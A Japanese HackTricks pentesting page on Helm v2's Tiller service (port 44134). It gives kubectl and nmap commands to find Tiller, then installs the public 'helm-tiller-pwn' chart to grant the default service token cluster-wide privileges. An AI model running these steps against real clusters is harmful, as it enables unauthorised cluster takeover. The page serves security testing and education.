ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 * **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
# 基本情報 HelmはKubernetesの**パッケージマネージャ**です。YAMLファイルをパッケージ化して公開およびプライベートリポジトリで配布することができます。これらのパッケージは**Helm Charts**と呼ばれます。**Tiller**はデフォルトでポート44134で実行されている**サービス**です。 **デフォルトポート:** 44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` # 列挙 異なる名前空間の**ポッドおよび/またはサービスを列挙**できる場合は、それらを列挙して、名前に**"tiller"**が含まれるものを検索します: ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` 例: ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` You could also try to find this service running checking the port 44134: ### ポート44134をチェックして、このサービスが実行されているかもしれません。 ```bash sudo nmap -sS -p 44134 ``` 一度それを発見したら、クライアントhelmアプリケーションをダウンロードして通信できます。 `homebrew`などのツールを使用するか、[**公式リリースページ**](https://github.com/helm/helm/releases)**を参照してください**。詳細や他のオプションについては、[インストールガイド](https://v2.helm.sh/docs/using\_helm/#installing-helm)を参照してください。 その後、**サービスを列挙**できます: ``` helm --host tiller-deploy.kube-system:44134 version ``` ## 特権昇格 デフォルトでは、**Helm2** は **kube-system** ネームスペースに **高い権限** でインストールされていました。そのため、サービスを見つけてアクセス権を持っている場合、これにより **権限を昇格** することができます。 必要なのは、次のようなパッケージをインストールするだけです: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) これにより、**デフォルトのサービストークンがクラスタ全体のすべてにアクセスできる** ようになります。 ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)には**攻撃の説明**がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内の[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)と[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)ファイルを読むと、**すべての権限がデフォルトトークンに与えられている**のがわかります。